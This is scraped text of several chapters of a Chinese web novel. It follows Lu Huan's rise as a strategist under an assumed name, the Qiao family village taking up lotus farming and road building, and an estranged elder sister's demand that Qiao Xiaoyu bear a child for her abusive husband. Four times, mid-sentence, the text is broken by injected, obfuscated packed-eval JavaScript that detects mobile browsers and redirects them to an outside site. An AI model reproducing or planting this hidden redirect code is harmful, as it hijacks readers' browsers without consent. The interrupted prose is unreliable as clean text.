人心惶惶，盛氏惊厥突发恶疾，原就算是陆彪，也是存心想将陆桓母子送离陆苑的，可当任连忠一封手书和赵王妃的礼单前后脚送入陆苑之后，陆苑那几个吹胡子瞪眼终究压下了心中气愤，直觉云诡波谲！赵王是此间变动中的既得利益者，陆氏在官家眼中早已身处争储漩涡，所以赵王妃的礼单送与不送、来与不来都只是让人再薅一把眉毛罢了…… 可任连忠那封手书写的什么玩意儿？作为昔日政敌，写给陆彰的悼词？呵！手书是匿名送的，陆彪忍了任连忠这作派，心道是：“桓儿可真是疯了，任连忠本是想恶心他的，他却不在陆苑，尽把陆家上下恶心到了。陆彰啊陆彰，你教的好儿子，已不管你九泉之下是否能得安息了。” 最难接受陆桓如此做法的还是他的母亲，于她而言，在陆苑所禁受的心酸委屈其实都不算什么，而今她却有许多疑问——或说质问，而陆桓却似乎有所预料，让盛氏亲手将那封手书烧给他父亲，并另外透露今上龙体欠安的消息。 这还有匿名的必要？盛氏不懂儿子心思，这么大的事，她自去请教陆彪。这时的陆彪才似突然想到什么一般，呢喃道：“桓儿这是要让世人知道他父亲的德行……”换句话说，陆桓要恶心上边那些人罢了，也让任连忠在官家面前成为警醒的存在。 呵，说什么亲贤远佞呢？今上是反着来的，世人又当如何看？ 陆氏百年望族，依旧百足之虫死而不僵，没有了陆彰那等惊才绝艳人物，那么一朝天子一朝臣，陆氏依旧是世族，然而陆桓的所作所为一旦为人所察，岂非自断后路？ 何况，官家的消息，他如何得知的？ 陆彪心下骇然，立马掐断了将盛氏打发离开陆苑的心思，心下可求着陆桓今后莫要胡来了吧。 到了盛氏去陆氏山林中祭奠亡夫的那日，动静颇大，方圆数十里的百姓都赶来了看，这大抵也是乔小遇第一次直观感受到陆氏的声望。百姓们不知这场祭奠的内情，更不知那些乔装改扮的提刀人将会给临安皇都带去何种消息，可乔小遇却是知道的。 连月来，一封封书信经由高扬之手转交到了乔小遇这里，她有时甚至还会有官府邸报可看，所以也逐渐明白陆桓将要去做的事情。这些朝堂上的声音傅震也跟着听了些，这无疑让他心头激荡，对洗冤之事渐渐存了期待…… 而高扬的到来，无疑也让乔冉安夫妻俩暗自嘀咕…… 直到有一天，傅娘子看着女儿嘴角不可自抑的笑容，终是忍不住说道：“小遇，高家不是我们这等人家所能攀附的，日后还是断了来往吧，这村里闲言碎语的，话传出去不好听。” 乔小遇眨了眨眼，笑说道：“娘你想哪里去了……得亏您不曾与村里人说道高扬的来历，村里人也只当他是流民暴乱时整个乔家村的恩人，这也不是没传什么话么，您却跟着胡思乱想。” “娘只担心你心思错付，来日怕是不能得偿所愿。”傅娘子嗫嚅了下，接着道：“我和你爹便只想让你嫁一个知根知底的，如宝树那样的孩子，若是去了高家做高门贵妾，这福分我们家消受不来的。” 乔小遇眉头蹙成一团，思忖道：“他是替陆桓送信来着的。” “啊？”傅娘子十分惊讶，双手瑟缩着道：“怎么又成陆公子了？你们这究竟怎么一回事？他难道允诺了什么？” 乔小遇摇头，不愿与傅娘子在这个话题上多言，只道：“娘，你就当结识了贵人，如这段时日般顺风顺水的，不好么？何况，也不是每次都是高扬亲自来送信，之前那位章叔，是陆家的奴侍，不也来过两次。” 傅娘子被女儿的话一噎，一时不知是自己思虑不周还是思虑太过了，她不明白乔小遇究竟想要一个怎样的将来……提及章奴，忍不住眼皮一跳：“那陆公子他家里人可知道了你？” “应是知道的。”乔小遇安慰傅娘子道：“事未分明，人家都不曾来打探过我，娘也不用着急，左右不能成的话，我也有预期的。” 傅娘子闻言一噎，女儿这次是直言相告了，却教她心头苦闷异常，如同荒石下压了草根，挣扎着却透不过一口气来。 事情一过明面就说不清楚了，所以盛氏着人私下去打听了乔小遇的事情。当她强忍不耐听完乔家村的鸡零狗碎之事后，还是忍不住摔了茶杯：“逆子！如今我是再也管不住他了！” 盛氏倒不曾对乔小遇的来历出言刻薄，在她看来，陆桓未必就对乔小遇真上了心思，因为遣章奴去送信的事情不曾对她刻意偷瞒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924423|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像一只活在自己牵制下的木偶突然想要离开一样，简直就是幼稚的挑衅。如果乔小遇真的值得爱重，是他所笃定的人，他便不会在尘埃落定之前，给人平添烦恼…… 盛氏心中的儿子，应登科及第、为父扬名；她的儿媳，便不是她母家之人，也应当是世族贵女，助陆桓平步青云……明年就是秋闱，无论如何也该把陆桓劝去白麓书院了。 可盛氏没有想到，陆桓在驿站收到劝读信的那天，竟直接当着报信的暗桩将信件烧了去，冷笑道：“临安城早就不允许陆氏做美梦了，母亲竟还抱着这样的念想……” 就算科举糊名，他秋闱上榜，那么之后的春闱杏榜呢？赐了进士又如何，他这样的肉中刺怎么可能在临安城中待下去，更何谈宏图远志？ 少年的轮廓已被北地的风沙磨砺出了明朗的线条，眸间意气已不复，叹息道：“你回去告诉我母亲，请她原谅我这个不孝子吧。” 说完便纵马扬鞭而去。 “小主人……”这声音的主人急着从石阶上走奔下来，却只能见得陆桓的身形迅速消失在地平线以下。 这时旁边的一个身着盔甲的年轻校尉拉着缰绳走了过来，探问着笑道：“木机公子是你家里人？” 暗桩身份隐秘，不欲多言，只垂手疑问道：“将军所言的木机公子是？” 那校尉一指陆桓消失的方向，笑道：“那不就是么！木机公子神机妙算，此前韩将军北荒别山剿匪大捷，多仰赖于他，如今他已是赵王麾下谋士，军中眼红至极！” 小主人竟去当了谋士？暗桩心下骇然之余，利落地抹了身后尾迹，连夜将消息递回陆苑…… 这就是陆桓打算去做的事情：不论周围的同僚政敌是否知道他是陆彰之子，他只以木机之名行事，一应际遇皆浮尘，功名算什么宏图志，能达目的就好。 此前种种，只当纠结试探，他终究还是走了一条与他父亲截然不同的道路。 而盛氏在得知儿子的决定之后，终究一病不起，容色很快便衰败了去。自此之后，陆苑只能当再无陆桓此人了，尽管之后在朝野上下发生的许多事里，他们都察觉到了陆桓的影子： 七月上旬，官家寿诞，众皇子进宫贺寿，赵王奉上所制土犁，官家在众臣子的夸赞中一言不发，反而考校赵王的功课，这本是怪责赵王不务正业了。赵王头汗岑岑无所应对时，他六岁的儿子睿隆出面对答，这才令得龙心大悦。 八月中，官家携妃嫔去行宫纳凉避暑，秦王母妃不在其列，随行的除了肱骨之臣，还有清风观里的几个道士。有言官上书劝谏天子，奏折却似石沉大海般消失不见。 九月，西境骚乱，北原军出兵相援方挽救于万一。战事结束后，西岭节度使呈上请罪书，但内容却牵涉到了军资配给的问题，一场轰轰烈烈的查腐打贪变革就此拉开帷幕。 十月，淮水两岸秋粮已收，土犁在疫变中发挥了重要的作用，迅速在山区也推广开来…… 95. 莲藕尊亲 时间来到腊月上。农户们已经忙着翻土，将苜蓿萝卜压在泥里，等着降雪的日子。 红土覆了绿肥，白雪覆了红泥。刚过完新年，傅震一家便离开了这山坳。 乔小遇虽不知内情，却能明白傅震不愿拖累乔家村的苦心。她隐约从军需案这样的字眼中感受到事情的紧迫性。如同挖藕一般，陆桓他们顺着藕节，拨开淤泥，便会将这池塘搅得浑浊。 村里将临近河边的一些浅滩地带圈了打算种藕，乔小遇家也认领了一方。虽有可能在夏季遭遇水涝，可若是得利，确是十分喜人的。乔家村的人之所以生出这心思，是因为之前陆苑的管事来过乔家村一趟，原是为了山林看护的事，但人见着烟火袅袅的荒凉，转了遍村后给村里人支了这招。 古有哪吒莲藕塑身，当秦王母妃因流产而郁郁而终后，官家痛不欲生，竟让赵王斫出个贵妃藕身来供惦念。藕身易坏，赵王就算雕了出来，却也会被治个大不敬之罪，那几日赵王过得是胆战心惊。终了，还是木机公子拜见，让赵王先以木斫藕，再行拼接塑身，并且将那木藕塑身以香火供奉后，才呈送至天子面前。 官家念旧，秦王回到了封地，失势却未必没有东山再起的可能。而赵王所面对的，却是官家出的各种奇怪的难题，像是磨练，可明眼人也知赵王是处处都行走在悬崖边，到底是他沉迷木工，让官家觉得难当大任…… 而对于民间而言，莲藕却成了尊亲尽孝的标志，一时间藕价攀升得令人惊讶。陆苑还将此前让乔长田看护的山林规则改了一改，除了不能伐木，在林木稀松的外围处可让村民圈养鸡禽一类。 村里人听说这两件事时，乐得奔走相告。而乔小遇心下最直接的感受却是：世家之所以能有丰厚的底蕴，原因有一条就是他们能嗅到一些特别的气息，进而趋利避害。至于圈地养鸡禽，想做出些成效，规模便必须形成。 所以摆在乔家村人面前的第一个难题，就是修路。 大伙没开春就开始修，村里的壮年劳力都上了，为了抵工，有些人家里便是妇女也去跟着端土，比如乔荣家便只余他娘亲上阵了。然而人力不足，只能尽力在雨季来临前把坡路部分拓宽压实，毕竟大家还要忙着春耕。 “这就是效率等于人力，离开了重工机械，进度实在感人。”乔小遇心里嘀咕着。村里上下都知事情艰难，尤其中途有几段是只能铺石渣才能抗住雨水冲刷的…… 因在修路，所以这次陆桓等乔小遇的回信延迟了两日，而此事乔小遇在信中只字未提——或者换句话说，信中内容本就短促。陆桓一边听着侍下的回禀，一边来回将信件看了几遍，不由皱眉。 理帐中事，他作为木机公子有的是手段，而对遥远的乔家村未必就鞭长莫及，可乔小遇是不想让他帮忙吗？ “可日后退隐，我是要回去的啊。”陆桓心头有些失落，却也想过自己的性命可能留不到回拖罗河的一天。这么一看，如今这通信能算什么？不确定能否功成身退，所以他连给乔小遇一个准信都没有。 真是两个别扭的人。 日头渐从山间升起，带着暖意，在清透的露珠边缘闪烁着。官府来人，把乔长田几个主持修路的人个给叫了去问话，大家伙忍不住嘀咕起来，倒是没什么心情做工了，就担心没什么好事。 很快，乔长田便把村里人都叫到了家里。或是靠着门板壁磕鞋里的泥壳，或是倚着土砌吧嗒抽着旱烟，有官差老爷在，村民们不曾弄出多大声响，只有小孩子的几句哼唧哭闹声。 乔小佩转溜着眼，问道：“姐姐，这是怎么了？”乔小遇摇头，轻轻按了下妹妹的肩膀，轻声道：“听着长田叔的声，似乎不是什么坏事。”等官差踏出门槛，院里的村民也垫脚跟着巴望了过来，几个歇在锄头棒上的也立了身…… 只听得官差扬起一团和气笑脸，说道：“乡亲们，县里得了朝州府上的令，将给之后村里种藕的农户一定支持，像藕种藕芽的选育、病虫害的处理等等，包括修路也有一定的银两划拨，不过咱们村里植藕的面积比起一些大湾子来说并不大，最后这修路的资费主要还是陆苑那边敲定下来的。 陆苑出八分，县衙划拨两分，将路拓宽后，用拖罗河沙和山石铺就，也就免了日后暴雨侵刷坍塌。用工的话，淮水修缮工事已近尾声，官府也只能征调劳役几日，目前倒还未知能调用多少人口，所以目前还得靠村里出工。至于木车工具一类，县衙里可以提供一些，终究是尽力赶在夏暑前将这事落定了。 作为条件的是，以后的莲藕产出、家禽产出运到县里，陆苑的商会自会交接，价以朝州府市价计，陆苑将抽七成利，契约八年不变，却也不知大家伙怎么想。” 话说到这里，村里人便都开始讨论起来，各都揣了算盘在心里。若是那既未种藕、也未圈林养禽的，村里修路对他而言，也仅是进出方便罢了，家里出工也主要是因为村里的约定，他们原本并不打算轻易试水；而与契约相关的农户，却想的是利被人吃去七成，而契约时间竟长达八年…… 是有人短视的，对他们而言，少一吊钱和少一文钱都是被人算计好了的账，故而已经假设好了自己家里的最高产出，也假设好了产出的最高价格，看看陆苑从自家手头吃了多少钱去，是打算与乔长田开摆了。 可乔小遇听了几句后，看着大家伙那认真的神情，又看着开摆的二叔，心头转道：“我早该有预料的，村里人没法将这笔账算得明白……” 且听二叔口头并不能将具体的银钱算明白，乔小遇忍不住出声道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924424|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二叔，你这账没算对啊。藕先且不论，村里这水土不知长得好与不好，何况天灾、气候都是影响产量的。就说这走地鸡，怎么可能每只都能养了到八九斤，何况你家母鸡比公鸡养得多，价格又怎会一样？ 你以二十只公鸡为例，县上与朝州府价格差是一斤六文钱，就算你养的是七斤的肥鸡，那就多出八百四十文钱，但这八百四十文中，陆苑抽去五百八十八文后，你得的是二百五十二文，而如果你选择自己把鸡运去朝州府售卖，这二百五十二文还能剩余多少？” 乔小遇算得很快，让周围人暗暗吃惊，此时他们也明白过来，陆苑虽然抽利高，但它是以朝州府的价抽的。若以县上的正常价格收取，转到朝州府再进行售卖，那么利润空间会更大，起码签短契对陆苑更有好处。而如果朝州府价格来收取，那二百五十二文就是村民所得的纯利，因为在实际上，村民们很少会去到朝州府…… “陆苑签长契，是为了保证货源和村民的利益，而以朝州府价格收取，不会影响县里这个中转地的物价，而且让风险都平分到了双方身上。试想，若是哪一年经了天灾人祸，价格变动太大，咱们村里是没有那份心力去应对的，但陆苑却可以设法将货物转卖到其他州府，双方都不会有大的亏损。” 而一旦将风险降低，又有了稳定的货源后，陆苑也会将买卖扩到淮水之地，那一带如今正是百废待兴，对大家而言是再好不过了。若没想错，陆苑试图去签订契约的湾子应当不止我们这一处吧……” 乔小遇朝着官差垂了垂首，笑问道：“不知官爷可曾听说？他们的抽利和契约情况又是如何？” 官差抚掌大笑，指着乔小遇对乔长田道：“却不知你们为何如此畏首畏尾，利弊如何还不如这小女娃看得清楚，且她这算术，已能够和县衙里的账房师爷相比了。” 不瞒大家伙，我却是从县衙里头听过一耳的，这陆苑借着东风，与之签订契约的湾子并不止咱们拖罗河这一处，远到朝州外郊都是有的，目前依旧主莲藕这项，但似何家田这种土地肥沃之处，稻、豆一类也有签订，因靠近朝州城，所以利算两分、三分而已，人更多的是走远销，往皇都方向去的。” 因为多是与家中有农佃的大户人家进行买卖，那契约短了也是有三年的，也有几家长达十年，想来也是看中了陆苑的信誉。”官差的目光轻轻扫过村里人，见大家深思欣喜者有之，接着补充上了一句：“若说咱们这湾子相较别处的利好，我是瞧不太出来了，陆苑如何区别对待，怎么就愿意给村里出钱修路，给县衙搭桥牵线去征调劳役来帮忙呢？” “左右还是因着陆氏的坟地靠近咱们湾子吧，这些年来，咱们村可如同供了佛一般，陆氏竟一直顾念着这点香火情。”有村民感怀道。 96. 是童养媳 同样的话，每个人捕捉到的信息总有些不同。 乔小遇听及“何家田”的字眼，余光不禁朝爹娘的方向看去，只见乔冉安夫妇眼中闪烁起一道奇异的光芒，她心头果真晦涩难言——以后也不知能不能见着何小知了。但随着傅娘子探究的目光落在自己身上，乔小遇又觉得浑身别扭。这些日子以来，她想着把那个人埋在心里，可傅娘子却忍不住旁敲侧击…… 折回眼前，既然修路的事情已是板上钉钉，村里那些不曾打算种藕圈林的人也跟着合计起以后的谋路来：村里的高处山地，引水并不方便，种藕这路是被限制住的，更多的人便把主意打到了圈林养禽上，鉴于前期投入较大，便多怀着看一步走一步的心思。 但修路的事，肉眼可见的可以加快工期了，这绝对是一件令人欢欣鼓舞的事。 村里人热火朝天地修了一月后：黄色泥尘似一片光幕，向两边掩映的绿松林蔓延开去，而在光幕中，身就麻衣的村民来回穿梭，或佝偻着身子拿着撮箕铲土，或拉着板车运傻……而这条红土路在靠近县衙的那一头，从淮水修缮工事上征调的劳役也开始动工了。 但凡事情与陆苑牵扯上关系，乔小遇便想着是陆桓的手笔，但和从前不太一样的地方在于，陆桓会直接来信与她说明。 晚间火炉旁，乔冉安一边洗脚，一边道：“都是欠人情，可陆公子一挑明，这叫咱们怎么还呢？好在惠及的是整个村子，咱们这心理负担也能轻些。”他这话音落地，便遭了傅娘子一记白眼，到底乔冉安对女儿的心思所知甚少。 傅娘子是想断了乔小遇心思的，但似陆桓这边信件往来，她却又无法开口阻断，便只能看着那绿芽在雨季里不自觉地生长。 为了方便看养林地周边的鸡禽，乔冉安在山林那边搭了个棚子，经常留宿在那边，而平日里的喂食则由乔小遇来做。等家里农活稍微轻些时，乔小遇便带了妹妹，还有一条狗子在山上看守。 狗子被她取了个名字元宝，算是寄托着小主人的一种朴实无华的梦想。元宝是她跟着乔冉安去邻村来的，毛色发黄，尾巴长得像鸡毛掸子一样，一摇起来直把泥地都扫干净了。狗子经常蹦蹦跳跳的，喜欢在林子里捉老鼠，以及追鸡——幸好它并不咬伤这些走地鸡，但每次动静太大，乔小遇也是弄得头疼，在她看来，元宝是在报小时候被大公鸡啄肉的仇。 小时怂得，长大些就开始张牙舞爪。 日子似乎满满走上了正轨，家里的条件渐渐宽裕了，中秋节时傅娘子还扯了几匹棉布给家里做衣裳哩……直到不速之客出现。 是的，在乔小遇看来，何小知就是那个不速之客。原本只存在血缘羁绊的两人，还是相遇了。乔冉安夫妻俩自然很高兴，多年未见，心中是有亏欠在的，然而何小知并不打算让这对父母因为看到她长大成人就心安理得。 何小知是雇了两张车子来到村里的，人才刚到，这消息便已迅速在村里传遍了。旁人只当何小知好大的排场，随行都带了六人仆从。 乔小遇并不想看家里人相见掩泣、泪眼婆娑的场景，她心里噎着，见过礼后却是很热情地招呼起来，包括对何小知带来的几个小幺儿和在院外休息的车夫。可惜她刚打算溜到灶台上烧火，一个小幺儿径直过来，将她拉去旁边道：“二姑娘，这灶台上的活计有我们做呢，您这金枝玉叶的，哪能做这种活？” 金枝玉叶这词什么时候同我沾上边了？乔小遇眼见着那幺儿自去捡了些此番带来的瓜果蔬肉，竟是要自己动手了，感觉十分别扭，只讪讪回了正屋听家里人说话。 “好孩子，如今你有了出息，我和你爹便也放心了。那些年日，也当真不是人过的，你若怨父母没那么本事将你养大，那便怨吧，可我和你爹能怨谁去呢？”傅娘子边哭边抹泪，就是旁边的乔冉安也是别过了脸吸鼻子。 乔小佩见状，连忙给她娘顺了顺背，手边的糕点也是没吃出什么味了，虽然一开始闻着好香。乔小遇也连忙劝道：“这样的好日子，娘你怎么就顾着掉眼泪呢？你把她的手都挣红了……” 这个“她”就很疏离，从何小知进门开始，乔小遇便只叫过她一次姐姐。她察觉到何小知的目光一直在打量自己，像挑选胭脂水粉一样，却说不上喜悦。而随着乔小遇一声提醒，傅娘子终于稍松了开了些那双紧抓住何小知的手，神色有些无措。 “娘，您的手都老了。”何小知静看着傅娘子手掌心皴裂开的口子，还有指甲缝中无法清洗干净的黄泥，喃喃道：“可女儿这些年都没办法在你们身边尽孝。若不是村里的农产卖到了朝州府的地界，我无意中打听到了家里的消息，不然都不知道我们何年何月才能再见。” “是了，娘和你的两个妹妹说过，就知道你是一直惦记着家里的。”傅娘子轻轻回握住何小知的手，连连点头，接着道：“如今看着你梳着妇人髻，却不知何家将你许配给朝州府的哪户人家了？日子可还行？有崽子了么？” 何小知的面色倏然凝住，诧异地道：“娘，当年你们不是让我去何家当童养媳的么？如今怎么……” 如今怎么问我许了哪户人家？言未尽，可乔冉安夫妻俩都惊觉过来这话的意思了。 “可当初何家人只道领养，结果怎么这样？当初何家人可说他们膝下无子的……”傅娘子显然惊愣住了，反复张口却是没能发声。她能说什么呢？比如：若何家人与我们坦明其中关窍，我们就不会如此？ “罢了，结果都是被卖。”何小知冷了声，随即抬眼朝乔小遇看来。傅娘子无言以对，只觉得心头已被女儿的话刺出了鲜血。她能说不是为了钱么？不能的，虽然是为了活命，可这其实没什么区别。 “何少爷长我三岁，生来有腿疾行走不利，我本以为从我进何家门的第一天起，这命也就注定了。但何少爷性情温和，许是上天眷顾，腿也跟着好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924425|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来。”何小知低头道：“道什么何少爷呢，如今已得改唤相公了。去岁开春后，何家已将我们的婚事办了。” 傅娘子闻言转忧为喜，道：“也是有个归宿了，全了家里人这些年一直顾盼着你的心，娘实在是为你高兴。” 对话说家常，应是人间好光景。 幺儿做厨麻利，等家里人相依了上桌吃饭，乔冉安夫妻俩才觉得浑不自在起来。不说菜品他们没见过了，连盘子都是人家带了来用的…… 乔小遇早察觉小幺儿做饭时不曾进屋开橱柜拿碗了，只是觉得奇怪：左右寻看，何小知释放的信息很明显了，何家家业更发达了，她这日子很是舒坦。 妹妹是个馋嘴的，一心想的扒菜舔筷，爹娘倒显得拘束些，但脸上的笑意就没停下来过。 吃饭的过程中，何小知还道家里的房子窄朽了些，等她收回庄子上的收成，就可以帮家里盖了。傅娘子忙道不用，说后屋过去那处小院也算家里的，宽裕得很，教何小知还是多给自己攥着些银钱，以后的日子便宜些。 “没想到爹娘已经拿主意把这事做成了。”何小知接着抿唇一笑，道：“只家里没有男孩，爹娘以后是打算招赘婿吗？说来，小遇的婚事可定下了？” 这话题怎么就到自己这里了？乔小遇端坐着慢慢咀嚼，没有抬眼。傅娘子又不好提及陆桓的事，也不愿何小知因为幼年被卖的事情与二女儿心存嫌隙，便立马接了话头道：“这还没定下呢，至于赘婿，我和你爹倒没仔细思量过，左右还有你三妹呢。” “是我讨打了，若家里以后添个小弟，两个妹妹的亲事也顺遂，那便是和家顺遂了。”何小知娇俏笑道。 傅娘子点头道是，不曾开口说及自己伤了身体已经无法生养的事，她不愿让小知觉得家里当初将其舍了与人当童养媳，却养育两个妹妹是受重男轻女的观念影响需要再生一个男孩。 原来就算是血浓于水，多年未见后，言语间竟要顾忌许多，生怕把彼此的距离拉大。 饭后也不需要洗碗了，自有何小知带来的人收拾，这大抵是乔小遇这么多年来在这件家务上的“缺席”。她正打算将早上捉来的蚯蚓洗了拌鸡食，待会带去林地喂鸡，妹妹却来唤她去堂屋看礼物。 现成的袄子褙子盛了三只箱笼，另有几尺绸布并五十两银封在了余下的两只里。乔冉安夫妻俩原本只当这礼是女儿的孝敬，想着何小知还能念着家里实在难得，满心都是欢喜，口中都道绸布花色特别不曾得见，是这一家子跟着享福了——直到傅娘子瞥见何小知胳膊上的伤！ 拗不过傅娘子，何小知的两条衣袖还是被揽了上去。只见那被热水烫伤的、香灰灼烧的，还有新添的鞭痕满布了她的手臂，教人触目惊心。 乔小遇心头一跳，下意识想着何小知被被她相公欺负了，可一看旁边那五十两银便又觉得不对，何家既然刻薄又怎会封银让何小知回乡呢？ 97. 说亲做妾 何小知将随行的人打发了远远的，此刻看着傅娘子显露出的悲愤神情，而乔冉安将头径直埋在了腿弯里人是一言不发，眸中簌簌落下泪来：这家里是无人能帮上自己了，她这般似浮萍一样的人生，每行一步都要靠自己筹谋。 乔小遇心中唏嘘，“难道是所托非人，就算从小长在何姓人家，却终究是外来人吗？”想来何小知的日子并不好过，也不知她这些年都经历了些什么。 “娘，我这些都是新伤，跟着敷药，不日便都会好了。”何小知轻轻地拍了拍傅娘子的背，道：“刚成婚时，相公待我也还好，可我的肚子一直没有动静，何家上下是不给我体面了，婆母后来还做主抬了一房小妾……” 傅娘子很惊讶，“所以何思成如此待你，只因你无所出？可你们成婚不是才一年有余？何家急什么呢？” 何小知脸色青白，垂眸摇头只道：“原是我不得力，难怪公婆看轻、相公厌恶，如今落得这场面，我不恨爹娘，却恨自己活在世上无枝得依，倒不如扯了一根白绫自去了罢。” 听得这等灰心丧意之语，傅娘子已是心痛如绞，“我苦命的孩儿，咱们这好死不如赖活着，你道这样的浑话可是要将我和你爹气死么！这往后还有几十年，你怎能一直在何家受磋磨呢，只恨爹娘无用……” 真是应了从前小遇所说的了，倘若何小知过得好的话，那她与乔冉安就不会有太多的歉疚感，甚至曾想过何小知能够顾念血脉之情，对家里接济一二…… 可如今一切化为泡影，傅娘子既是羞惭，又是悔恨，抬手连给自己呼了巴掌去，乔冉安见状赶紧来劝，而乔小佩却是直接被吓哭了。 乔小遇看着小妹惶恐不安的模样，赶忙将妹妹带离此处，去寻了乔大娘照看，自己也是想跟着避一避的。 她无奈，这么多年了，一旦面对家里人抱头恸哭的场面自己依旧格格不入……她能共情，但更厌倦挣扎无力，尤其何小知这事，家里人是帮不上什么忙的。 如果何小知背后有娘家撑腰，那何家便不至如此，可她与家里的牵绊已在幼时便割舍干净了，如今她回来又能如何呢？一想到何小知带来的礼，尤其那五十两银所泛着的烁亮，乔小遇觉得可像极了一柄捅进猪脖子的尖刀，令人生悸！ 能和离么？但显然不太可行，何家不放，乔家无能……至于何小知她自己，乔小遇猜着，人也是不愿和离的，如果人存了离开何家的心思，今日来访就不会摆那富裕的谱。 那何小知究竟是为什么回这一趟呢？这定然不是简单的寻亲。 乔小遇心头忡忡，提脚将几颗尖棱的黑色小石踢入河中，连忙往家里跑去！ “什么？做妾？你居然想接了你妹妹去给何思成做妾？”傅娘子只觉得心口堵了块大石，沉得她喘不过气来，骂声道：“你怎么能生出这心思？这不是推着你妹妹进火坑么！” “我推她进火坑？”何小知不可置信地张口泣声道：“那我当初难道不是因为她的缘故，才被你们卖去何家的么？娘，你说是谁推我入的火坑？” “就当我和你爹欠你的吧。”傅娘子嘴唇发白，仿佛一条濒死的鱼，“你妹妹那时年幼，什么都不知道……你如何能怪责她，心狠到让她给何家做妾添丁呢？这是报复吗？如若何思成将加诸于你身上的苦痛再让你妹妹禁受怎么办？我何你爹无权无势，苦了要被何家作践吗？” “那你们就打算让何家作践我是不是？我是做错了什么，就理当承受这些呢？”何小知紧扶住心口，言语如剜肉的刀般，“都是姊妹，怎么就手心手背都是肉了？爹娘从前弃我，如今也不顾我，当初倒是何必生我？” “小知，娘是心疼你的呀……你是爹娘的第一个孩子，那时就算日子苦着，你却寄托了爹娘心头所有的期待，论心思，论紧要，下头的两个妹妹都不如你。再后来，人熬成了偶木，已是度日而已。”傅娘子泣道：“你舍不下何家的安稳，所以宁愿蹉跎，又何苦将你妹妹填进去？” “我是舍不得！食不果腹的日子是我幼时的噩梦了，那时是爹娘卖我，如今就当我卖我自己，离不开何家那田那院了！可我不是命该如此的。” 何小知扑通跪了下来，紧抓了傅娘子的手，声嘶道：“娘，你就当渡一渡我吧。你们不愿小遇做妾，那也可以，你让她随我回去，一年后与何思成生了孩子，就当是我生的，记在我名下，而小遇对外还是清白人家，我会将妹妹送回来，给她备上丰厚的嫁妆……” “啪！”傅娘子听到此处，终已怒极攻心，挣手就朝何小知打了过去！ “终究多年未见，你在那深宅里长出了龌龊心思，我竟已觉得十分陌生，哪里像是我的孩子呢？”傅娘子十分费力地将身子挪到小床边坐下，接着道：“实话与你说吧，家里做不了你妹妹的主。” “怎么会？父母之命，她不听也得听，何况，这是她欠我的！”何小知并不相信这话，满腔里只有愤怒！ 乔小遇站在门外，此刻听了何小知这浑主意，心上凉透，她轻轻推门进来，道：“爹娘确实做不了我的主……我们不曾相处，你并不知晓我的性子，所以就算我欠了你，我也不能以这样的方式偿还你。” 你既然只是想要有一个孩子傍身，那为什么非得牵扯上家里？何小知，承认吧，你在报复。”乔小遇索性唤了她如今的名字，接着道：“你这样的人，旁人想要伤你，你恐怕早寻了枕头将人闷死了。所以，以利诱之，以情缚之，是你的算计……” 难道有人会愚蠢地认为一个在婆家不得力的小娘子，能随手拿出五十两银接济娘家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924426|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？那根本不是你的孝敬，而是你开出的价码。可是你既然开出了价码，又何必如此苦情？且说说吧，为什么如此着急地找个孩子傍身？” 乔冉安觉得乔小遇的话难听，但也明白是小知过分了，刚想劝说，便被傅娘子拉了一同坐下，吩咐道：“没有你说话的份，好好听着便是了。” 何小知心道傅娘子是一心向着乔小遇了，原来她从来不是被选择的那一个。 她别过脸，径自侧身坐下来，冷声道：“因为我的身子早已坏了，没有办法生养的，我婆母已然有所猜测，所以何家并不想等我了。如果没有嫡子，那我对何家而言，就是一枚废弃的棋子，连个烧火丫头都不如。” “什么叫身子早已坏了？”傅娘子闻言眉心一跳。 “呵，放心吧，这不是一出苦情戏”，何小知斜睨了眼乔小遇，“不过我自作自受罢了。何家领养我，一开始确实存着养成童养媳的打算，我年幼不知，只当自己是个丫鬟，在何思成的房里服侍，可等后来知道了，心里哪能甘心委身于一个残废之人？” 